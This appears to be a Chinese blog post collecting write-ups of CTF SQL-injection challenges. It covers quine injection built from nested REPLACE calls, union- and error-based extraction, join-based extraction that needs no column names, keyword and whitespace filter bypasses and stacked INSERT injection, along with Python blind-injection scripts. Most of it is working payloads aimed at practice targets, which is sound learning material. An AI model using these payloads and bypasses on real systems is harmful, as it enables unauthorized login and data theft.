REPLACE(REPLACE('str',CHAR(34),CHAR(39)),编码的间隔符,'str')

str的升级版形式:

REPLACE(REPLACE("间隔符",CHAR(34),CHAR(39)),编码的间隔符,"间隔符")

这里的CHAR(34)是双引号,CHAR(39)是单引号,如果CHAR被禁了0x22和0x27是一样的效果。

这里我们慢一点。

第一步:

REPLACE(REPLACE("间隔符",CHAR(34),CHAR(39)),编码的间隔符,"间隔符")
变成了
REPLACE(REPLACE('间隔符',CHAR(34),CHAR(39)),编码的间隔符,'间隔符')

第二步:

REPLACE('单引号str',编码的间隔符,'str')
变成了
REPLACE(REPLACE('str',CHAR(34),CHAR(39)),编码的间隔符,'str')

我们同样举刚才的例子,设间隔符为'.',编码的间隔符为CHAR(46),那么str为:

REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")

放入最后的语句为:

REPLACE(REPLACE('REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")',CHAR(34),CHAR(39)),CHAR(46),'REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")')

执行的结果为(先执行的内层REPLACE):

REPLACE(REPLACE('REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")',CHAR(34),CHAR(39)),CHAR(46),'REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")')

实际结果:

MySQL localhost:3306 ssl SQL > SELECT REPLACE(REPLACE('REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")',CHAR(34),CHAR(39)),CHAR(46),'REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")');
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| REPLACE(REPLACE('REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")',CHAR(34),CHAR(39)),CHAR(46),'REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| REPLACE(REPLACE('REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")',CHAR(34),CHAR(39)),CHAR(46),'REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.0004 sec)

现在就完全一致了。

但是事实上这张表其实是个空表,只有构造输入输出完全一致的语句,才能绕过限制得到FLAG,主要利用replace(str,old_string,new_string)进行构造,构造思路如下:

1
select replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")');

输入和输出的结果为:

1
replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")');
1
replace("replace(".",char(46),".")",char(46),"replace(".",char(46),".")") ;

这样其实还没有达到输入和输出一致的问题,因为还有单引号和双引号不一致,所以要解决单双引号的问题,再套一层replace,将双引号替换成单引号即可
接下来解决单双引号的问题
输入

1
replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');

输出

1
replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")')

题中还过滤了char,用chr或者直接0x代替即可

1
username=admin&password='UNION/**/SELECT/**/REPLACE(REPLACE('"UNION/**/SELECT/**/REPLACE(REPLACE("1",CHAR(34),CHAR(39)),CHAR(49),"1")#',CHAR(34),CHAR(39)),CHAR(49),'"UNION/**/SELECT/**/REPLACE(REPLACE("1",CHAR(34),CHAR(39)),CHAR(49),"1")#')#

下面这个作为一个参考,实际注入时给我弹了waf

1
username=bilala&passwd='/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#',0x22,0x27),0x25,'"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#')#

[GXYCTF 2019]BabySqli

1分
SQL注入POST注入关键字绕过
一进去时一个登陆界面,我先试了下账号admin,密码:1
回显错误
我们查看网页源代码,发现有个search.php文件
进去是这个,绿色字体显示,一般都是重点

1
MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5

放入我们的一键解码工具,发现有用的信息应该是这个
先base32解码,在base64解码

1
select * from user where username = '$name'

我们可以先fuzz看一下过滤了哪些字符
我们发现order被禁了,可以使用Order来进行绕过
也可以直接用union来一个一个试

1
admin' union select 1,2#

这个报错,且不是显示wrong pass

1
admin' union select 1,2,3#

报错的是和密码错误一样的显示
说明字段数为3
然后我们开始猜测admin是第几个字段,发现是第二个

1
1' union select 1,'admin',3#

后面也是第一次见到过这种做法
意思就是插入一条临时的数据admin,密码为md5加密后的1,然后密码为1,就会自动登陆上了

1
name=1' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#&pw=1

这个后面接的要看源码,或者抓包来看

1
2
3
4
5
6
7
8
9
10
11
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>Do you know who am I?</title>
<center>
<form action="search.php" method="post" style="margin-top: 300">
<input type="text" name="name" placeholder="UserName" required>
<br>
<input type="password" style="margin-top: 20" name="pw" placeholder="password" required>
<br>
<button style="margin-top:20;" type="submit">登录</button>
</form>
</center>

[NISACTF 2022]join-us

1分
报错注入无列名注入SQL注入
题目描述

欢迎加入天伦家园的大家庭
这里又会有一种没有见过的注入方式或手法
一进去是有一个可以登陆或者注册的页面
我们登陆一下然后抓包就会有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /dl.php HTTP/1.1
Host: node5.anna.nssctf.cn:21947
Content-Length: 4
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://node5.anna.nssctf.cn:21947
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://node5.anna.nssctf.cn:21947/dl.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

tt=1

输入’报错,有sql注入
发现过滤了and和database还有columns
过滤了and我们这里选择使用管道符
过滤and的方式
1.大小写绕过
2.双写绕过
3.管道符执行
4.url编码
sql查询一个不存在的表会报错

1
tt=1'||(select * from aa)# =>报错得到库名字sqlsql

爆表:

1
1'||extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema like 'sqlsql')))#

XPATH syntax error: ‘~Fal_flag,output’
列名的注入coulmns被过滤了

使用join注入

对于过滤了逗号的,也可以使用
就是对于一种情况,一个表里面有我们的username,和passwd等信息
还有一个表有邮箱信息
我怎么才能查询users表用户的email都是多少,这时要查询的就是两张表
语句

1
select u.*,e.* from users u,emails e where u.id=e.id;

同样的功能join来实现

1
select u.*,e.* from users u join emails e on u.id=e.id

使用join:
union select 1,2,3等价于
union select * from (select 1)a join (select 2)b join (select 3)c
后面的注入的手法是一样的
最后payload

1
tt=-1'||extractvalue(1,concat(0x7e,(select *from (select *from output a join output b)c)))#

回显:Duplicate column name ‘data’

1
tt=1'||(extractvalue('div', concat('~',(select * from(select * from Fal_flag a join Fal_flag b )c),'hi')))#

回显的列是id,后面还有一个

1
tt=1'||(extractvalue('div', concat('~',(select * from(select * from Fal_flag a join Fal_flag b using(id))c),'hi')))#

回显data

1
tt=1'||extractvalue(1,concat(0x7e,(select * from (select * from Fal_flag a join Fal_flag b using(id,data)) c)))#

这个就回显了一个假的flag

1
tt=1'||extractvalue(1,concat(0x7e,(select * from (select * from output a join output b using(data)) c)))#

这个就回显了我们要的,但是长度只是一部分

1
tt=1'||extractvalue(1,concat(0x7e,mid((select data from output),1,30)))#

两次成功拿到flag

[NCTF 2018]滴!晨跑打卡

1分
空格绕过SQL注入报错注入
题目描述

快来看看你每次跑操打卡的信息鸭!
这个是常规注入,我们这里稍微注意一下一些东西就可以了
这里的空格用%a0来进行绕过
最后的闭合符用一个’
前面的分号也可以换为%27

1
1%27%a0union%a0select%a01,2,3,4%a0and%a0%271%27=%271
1
查询语句最后就是select * from websites where id='1''';

这里建议打开phpstudy开启阿帕奇和mysql
然后我进入phpmyadmin
再进入employees数据库里,里面有一章表user
输入语句

1
select * from user where id='1''';

能够得到正常回显
最后就是常规注入拿到flag

1
2
3
4
5
6
7
8
9
10
11
?id=1'%a0union%a0select%a01,2,3,4'
回显123

id=1'%a0union%a0select%a01,2,(select%a0group_concat(table_name)from%a0information_schema.tables%a0where%a0table_schema=database()),4'
得到表名是pcnumber

?id=1'%a0union%a0select%a01,2,(select%a0group_concat(column_name)from%a0information_schema.columns%a0where%a0table_schema=database()%a0and%a0table_name='pcnumber'),4'
得到字段id,bigtime,smalltime,flag

?id=1'%a0union%a0select%a01,2,(select%a0group_concat(flag)from%a0pcnumber),4'
获取flag

[MoeCTF 2022]Sqlmap_boy

1分
SQL注入关键字绕过空格绕过
题目描述

https://github.com/XDSEC/MoeCTF_2022

进去是一个登陆界面,且不给注册
查看网页源代码

1
<!-- $sql = 'select username,password from users where username="'.$username.'" && password="'.$password.'";'; -->

就是比较常规的注入,我们在这里注意,一开始登进去用万能密码

1
admin'" or 1=1#

然后进入http://node5.anna.nssctf.cn:29134/secrets.php?id=1
这里及开始对id处进行注入
paoyload

1
/secrets.php?id=-1'%20union%20select%201,database(),group_concat(flAg) from moectf.flag--+

这里再强调一个地方
就是用moectf.flag是标准的sql语法,后面要简洁也可以这样用

[NSSCTF 2022 Spring Recruit]babysql

1分
SQL注入空格绕过关键字绕过
这里来一个完整的过程的注入
之前的基本都快速看了下思路就草草了之了
一开始进入,只有一个登录框,有一个登陆界面
输入admin
抓包:username=admin
回显:竟然是死胡同(沮丧)
我们先来一个’,再来一个1好像都是回显,竟然是死胡同(沮丧)
我们来万能密码

1
admin' or 1=1#

这里就有我们需要的信息了,过滤了if,and,#还有s。不分区大小写

1
hacker!!black_list is /if|and|\s|#|--/i

这里我的理解稍微有一些问题

1
--也给过滤了

这里又是我没有见过的

1
username=1'or'1'='1

回显:string(39) “前有flag,所以,是绕过的时候了”
这里基本就可以来拿flag了

1
2
3
4
5
-a'/**/union/**/select/**/(select/**/database())'
-a'/**/union/**/select/**/(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='test')'
-a'/**/union/**/select/**/(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag')'
-a'/**/union/**/select/**/(select/**/group_concat(flag)/**/from/**/test.flag)'

这里的payload都是两个select,是有讲究的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
你写的这条 SQL 注入 payload:

username=1'union/**/select/**/(select/**/group_concat(flag)/**/from/**/flag)/**/'

里面确实出现了 两个 SELECT,很多初学者第一次看到会觉得困惑。下面我给你详细讲一下这个写法的 原理、用途和典型场景。
✅ 一、这条语句的结构

我们可以先去掉注释和空格绕过的干扰,还原成原始结构:

username = '1' UNION SELECT (SELECT group_concat(flag) FROM flag) --'

这是典型的 嵌套子查询(Subquery)。
🔍 二、结构解释
外层:

UNION SELECT (...)

表示要将子查询的结果(一个值)作为 UNION 的返回内容。
内层:

(SELECT group_concat(flag) FROM flag)

表示从 flag 表中取出所有 flag 字段值并用逗号拼接起来,结果是一个单个字符串(比如:flag{xxx},flag{yyy})
📌 三、为什么要这样写(两层 SELECT 的作用)
✅ 主要用途:

当前注入点只允许返回一列
如果目标页面的原始 SQL 是:

SELECT username FROM users WHERE username = '$username'

那么 UNION SELECT 也只能提供一列。如果你写 UNION SELECT flag FROM flag 这样返回多行/多列,可能报错或格式错位。

这时候,你就需要用子查询把多行合并成一行:
SELECT group_concat(flag) FROM flag → 结果是一个字符串

需要将查询结果当作值返回
比如你要用 SELECT (...) 的结果作为一列或一个函数参数,嵌套写法是必要的。

🧠 四、补充说明
示例:单列注入 vs 多列注入

如果注入点原语句是:

SELECT name FROM users WHERE name = '$username'

→ 则你必须 UNION SELECT (SELECT group_concat(flag) FROM flag)

如果原始 SQL 是多列,比如:

SELECT id, name FROM users WHERE id = '$id'

→ 你就可以直接:

UNION SELECT 1, group_concat(flag) FROM flag

✅ 总结
场景 是否需要两层 SELECT
目标页面只返回一列 ✔ 是
你想把多行合并成一行 ✔ 是
你需要控制列数/防止报错 ✔ 是
原语句是多列的 ❌ 不一定需要

要不要我帮你判断你那个注入点是几列的,或者用别的写法验证注入成功?

[NISACTF 2022]hardsql

1分
quine注入SQL注入空格绕过
题目描述

1
2
$password=$_POST['passwd'];
$sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";

这个也是一个quine注入的题目,我们来尝试解决

1
登进去显示成功登陆即可显示flag,有两个登录框

我先尝试随便登录一下,显示only bilala can login
这里就给你账号了
抓包是这样显示的

1
username=bilala&passwd=1&login=%E7%99%BB%E5%BD%95

构造payload

1
'/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace("B",char(34),char(39)),char(66),"B")#',char(34),char(39)),char(66),'"/**/union/**/select/**/replace(replace("B",char(34),char(39)),char(66),"B")#')#

发现这个不可以

1
'/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#',0x22,0x27),0x25,'"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#')#

这个payload和我的第一个的payload是一样的
最后拿到flag
还有一个就是我们可以使用脚本来得到账号密码,但是是给了你源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import time
alp = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~"
def get_pass():
url = "http://1.14.71.254:28843/login.php"
flag = ""
Cookie = {'frontLang':'zh - cn',
'frontDevice':'desktop',
'theme' : 'default',
'adminLang' : 'zh - cn',
'adminDevice' : 'desktop',
'currentGroup': 'design'
}
while(True):
for i in alp:
data = {
'username': 'bilala',
'passwd':f"1'or/**/passwd/**/like/**/'{flag+i}%'#"
}
res = requests.post(url=url,data=data)
time.sleep(0.1)
if "nothing found" not in res.text:
flag+=i
print(flag)
break
elif "~" in i:
return
if __name__=='__main__':
get_pass()

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
//多加了亿点点过滤

include_once("config.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
if(preg_match("/if|regexp|between|in|flag|=|>|<|and|\||right|left|insert|database|reverse|update|extractvalue|floor|join|substr|&|;|\\\$|char|\x0a|\x09|column|sleep|\ /i",$s)){
alertMes('waf here', 'index.php');
}
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['passwd']) && $_POST['passwd'] != '') {
$username=$_POST['username'];
$password=$_POST['passwd'];
if ($username !== 'bilala') {
alertMes('only bilala can login', 'index.php');
}
checkSql($password);
$sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";
$user_result=mysqli_query($MysqlLink,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes('nothing found','index.php');
}
if ($row['passwd'] === $password) {
if($password == 'b2f2d15b3ae082ca29697d8dcd420fd7'){
show_source(__FILE__);
die;
}
else{
die($FLAG);
}
} else {
alertMes("wrong password",'index.php');
}
}

?>

主要就是要强相等这个方面

[HDCTF 2023]LoginMaster

1分
quine注入unique注入SQL注入
题目描述

Who knows logining better than you!
这个好像也是quine注入的,再来一道巩固一下,主要是为了减少知道是这种情况,但是可能有一些不一样的waf,这种题就做不出来了。还是说这种题目就一种解法
一来是一个登陆页面,要输入账户名和密码
访问robots.txt

1
2
3
4
5
6
7
8
9
10
function checkSql($s) 
{
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');

要我们输入的password===等于$password,这个就是quine注入的一个标志
我们先抓包来随便登陆一下
显示

1
alert('something wrong');location.href='index.php';

本题的payload

1
1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#

对于这些注入的格式呀,我的理解还是有很大的不足的,我得多尝试手搓一下

[WUSTCTF 2020]颜值成绩查询

1分
布尔盲注SQL注入空格绕过
这个是bool盲注的,稍微修改一下payload就可以用于解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
import time

url = 'http://cd82b63c-6c9a-46d7-8288-09fea5ba97f3.node5.buuoj.cn:81/?stunum='
i = 0
flag = ''
while True:
i += 1
# 从可打印字符开始
begin = 32
end = 126
tmp = (begin + end) // 2
while begin < end:
print(begin, tmp, end)
time.sleep(0.1)
# 爆数据库
# payload = "1/**/and/**/(ascii(substr(database(),%d,1))>%d)" % (i, tmp)
# 爆表
# payload = "1/**/and/**/(ascii(substr((select(GROUP_CONCAT(TABLE_NAME))from(information_schema.tables)where(TABLE_SCHEMA=database())),%d,1))>%d)" % (i, tmp)
# 爆字段
# payload = "''or(ascii(substr((select(GROUP_CONCAT(COLUMN_NAME))from(information_schema.COLUMNS)where(TABLE_NAME='flag')),%d,1))>%d)" % (i, tmp)
# 爆flag
# payload = "1/**/and/**/(ascii(substr((select(group_concat(value))from(flag)),%d,1))>%d)" % (i, tmp)


r = requests.get(url + payload)
if 'admin' in r.text:
begin = tmp + 1
tmp = (begin + end) // 2
else:
end = tmp
tmp = (begin + end) // 2

flag += chr(tmp)
print(flag)
if begin == 32:
break

成功拿到flag

[October 2019]Twice SQL Injection

1分
二次注入SQL注入URL污染
这个也是第一次遇到相关的注入类型的题目,二次注入

1
2
3
4
5
1' union select database()# //爆库
1' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'# //爆表
1' union select group_concat(column_name) from information_schema.columns where table_name='flag'# //爆字段
1' union select flag from flag# //爆数据

先登陆,再注册,最后拿到flag

[HNCTF 2022 WEEK2]easy_sql

36分
SQL注入无列名注入空格绕过
又是一个无列名的注入
之前也遇见过

1
https://blog.csdn.net/Jayjay___/article/details/132956781?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522a9434f3f1a2484704690c128072f60ab%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=a9434f3f1a2484704690c128072f60ab&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-1-132956781-null-null.142^v102^pc_search_result_base4&utm_term=%5BHNCTF%202022%20WEEK2%5Deasy_sql&spm=1018.2226.3001.4187

参考一下这篇文章的解法和脚本

[HNCTF 2022 WEEK4]fun_sql

82分
堆叠注入SQL注入Insert注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
 <?
include "mysql.php";
include "flag.php";

if ( $_GET['uname'] != '' && isset($_GET['uname'])) {

$uname=$_GET['uname'];

if(preg_match("/regexp|left|extractvalue|floor|reverse|update|between|flag|=|>|<|and|\||right|substr|replace|char|&|\\\$|0x|sleep|\#/i",$uname)){
die('hacker');

}

$sql="SELECT * FROM ccctttfff WHERE uname='$uname';";
echo "$sql<br>";


mysqli_multi_query($db, $sql);
$result = mysqli_store_result($db);
$row = mysqli_fetch_row($result);

echo "<br>";

echo "<br>";
if (!$row) {
die("something wrong");
}
else
{
print_r($row);
echo $row['uname']."<br>";

}
if ($row[1] === $uname)
{
die($flag);
}
}
highlight_file(__FILE__);

我们目的就是返回flag,要求输入的uname 和 sql语句查询的uname 相等 那么我们思路就是插入一个uname 然后再查询
首先 看看本表多少列,4报错 3 正常所以3列

1
?uname=1'order by 4--+

我们擦混入数据,正常来讲有uname的一般表中列的顺序一般就是id-uname-passwd
我们知道一共有三行

1
?uname=-1' union select 1,2,3;#

回显:Array ( [0] => 1 [1] => 2 [2] => 3 )
可以发现有三列,我们已经知道得到flag的条件为$row[1] === $uname
也就是说只要我们查得到数据,即可得到flag

因此我们插入一个我们查得到的数据(表名给了为ccctttfff)
payload

1
?uname=-1' union select 1,2,3;insert into ccctttfff value(1,1,1);#

插入之后我们再访问uname=1,得到flag


文章作者: wuk0Ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 wuk0Ng !
评论
  目录